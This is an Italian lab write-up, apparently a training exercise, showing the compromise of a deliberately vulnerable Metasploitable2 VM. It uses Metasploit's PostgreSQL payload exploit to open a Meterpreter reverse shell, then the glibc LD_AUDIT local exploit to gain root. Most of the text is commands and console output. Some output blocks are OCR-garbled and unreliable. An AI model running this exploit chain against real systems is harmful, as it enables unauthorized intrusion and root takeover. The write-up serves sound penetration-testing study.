

# Privilege escalation

## Introduzione:

Il compito prevedeva di **exploitare** la macchina metasploitable2, e successivamente di **scalare i privilegi** (root)

## Pratica:

Avviamo la macchina, tramite il comando **msfconsole**:

```
-(kali⊗kali)-[~]
 -$ msfconsole
Metasploit tip: The use command supports fuzzy searching to try and
select the intended module, e.g. use kerberos/get_ticket or use
kerberos forge silver ticket
     METASPLOIT by Rapid7
                                    EXPLOIT
                                  =[msf >]=
                                  (໖)(໖)(໖)(໖)(໖)(໖)(໖
         000
                 0 \quad 0
         PAYLOAD
       =[ metasploit v6.4.18-dev
     ---[ 2437 exploits - 1255 auxiliary - 429 post
      -=[ 1471 payloads - 47 encoders - 11 nops
     --=[ 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
```

Successivamente usiamo l'exploit:

# exploit/linux/postgres/postgres\_payload

Ed impostiamo in options, **rhost** (ip macchina target), **lhost** (ip macchina attaccante):



### E digitiamo run, per eseguire l'exploit:

```
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/ovqmFURm.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.40:59580) at 2024-11-13 10:12:54 -0500
meterpreter > ■
```

#### Poi mettiamo la sessione in background, per lavorare su altri exploit:

```
meterpreter > getuid
Server username: postgres
meterpreter > background
[*] Backgrounding session 1 ...
msf6 exploit(limux/postgres/postgres_payload) > sessions

Active sessions

Id Name Type Information Connection
1 meterpreter x86/linux postgres a metasploitable.localdomain 192.168.1.25:4444 → 192.168.1.40:59580 (192.168.1.40)
```

Ed infatti cerchiamo suggester, un altro exploit per scalare i privilegi:

Impostiamo la **sessione 1**, e runniamo. E metasploit cercherà di exploitare l'exploit:

Questo sarà il risultato della ricerca, li proviamo tutti, e notiamo che il **primo** è il migliore:

```
Americal Manus (Total / Vibra of and internal private control of the control of t
```

```
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) >
```

Dato che l'exploit è a 64bit e Metasploitable a 32bit, dobbiamo andare ad impostare i bit per Metasploitable:

```
payload/linux/x86/meterpreter/reverse_tcp
                                                                                                                                                                                                                              Linux Mettle x86, Reverse TCP Stages
               payload/linux/x86/meterpreter/reverse_tcp_uuid
             payload/linux/x86/meterpreter_reverse_http
payload/linux/x86/meterpreter_reverse_https
                                                                                                                                                                                                                            Linux Meterpreter, Reverse HTTP Inline
Linux Meterpreter, Reverse HTTPS Inline
                                                                                                                                                                                        normal No
            payload/linux/x86/meterpreter_reverse_https
payload/linux/x86/meterpreter_reverse_ttp
payload/linux/x86/metsvc_bind_ttp
payload/linux/x86/metsvc_reverse_tcp
payload/linux/x86/shell/bind_ipv6_tcp
payload/linux/x86/shell/bind_ipv6_tcp
payload/linux/x86/shell/bind_top_uuid
payload/linux/x86/shell/bind_tcp_uuid
payload/linux/x86/shell/bind_tcp_uuid
payload/linux/x86/shell/reverse_ipv6_tcp
payload/linux/x86/shell/reverse_tcp
payload/linux/x86/shell/reverse_tcp_uuid
payload/linux/x86/shell_bind_ipv6_tcp
payload/linux/x86/shell_bind_ipv6_tcp
payload/linux/x86/shell_bind_tcp_random_port
payload/linux/x86/shell_bind_tcp_random_port
payload/linux/x86/shell_reverse_tcp_uuid
payload/linux/x86/shell_bind_tcp_random_port
payload/linux/x86/shell_reverse_tcp_ipv6
                                                                                                                                                                                        normal No
                                                                                                                                                                                                                             Linux Meterpreter, Reverse TCP Inline
Linux Meterpreter Service, Bind TCP
Linux Meterpreter Service, Reverse TCP Inline
                                                                                                                                                                                        normal
                                                                                                                                                                                                          No
                                                                                                                                                                                                                           Linux Meterpreter Service, Reverse TCP Inline
Linux Read File
Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
Linux Command Shell, Bind IPv6 TCP Stager with UUID Support
Linux Command Shell, Bind TCP Stager (Linux x86)
Linux Command Shell, Bind TCP Stager (Linux x86)
Linux Command Shell, Bind TCP Stager with UUID Support (Linux Command Shell, Reverse TCP Stager (IPv6)
Linux Command Shell, Reverse TCP Stager
Linux Command Shell, Bind TCP Inline (IPv6)
                                                                                                                                                                                        normal
                                                                                                                                                                                                          No
                                                                                                                                                                                        normal
                                                                                                                                                                                       normal
                                                                                                                                                                                        normal No
                                                                                                                                                                                       normal No
                                                                                                                                                                                       normal No
                                                                                                                                                                                                                            Linux Command Shell, Bind TCP Inline (IPv6)
Linux Command Shell, Bind TCP Inline
Linux Command Shell, Bind TCP Random Port Inline
                                                                                                                                                                                       normal No
normal No
                                                                                                                                                                                                                             Linux Command Shell, Reverse TCP Inline
Linux Command Shell, Reverse TCP Inline (IPv6)
                                                                                                                                                                                        normal No
 ayload ⇒ linux/x86/meterpreter/reverse_tcp
                                                                                                                                            c) > show targets
 exploit targets:
        Id Name
                 Automatic
                Linux x64
msf6 exploit(
                                                                                                                                           e) > set targets 1
[!] Unknown datastore option: targets. Did you mean TARGET?
targets ⇒ 1
 sf6 exploit(
                                                                                                                                             ) > set target 1
target ⇒ 1
msf6 exploit(
                                                                                                                                             ) >
```

Runniamo, e noteremo che ora il nostro profilo avrà i permessi di root:

```
[*] Started reverse TCP handler on 192.168.1.25:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.3UKUTQj' (1271 bytes) ...
[*] Writing '/tmp/.xmWKXeqh' (281 bytes) ...
[*] Writing '/tmp/.l2n2N' (207 bytes) ...
[*] Writing '/tmp/.l2n2N' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 2 opened (192.168.1.25:4444 → 192.168.1.40:49120) at 2024-11-13 10:36:04 -0500

meterpreter > getuid
Server username: root
meterpreter > ■
```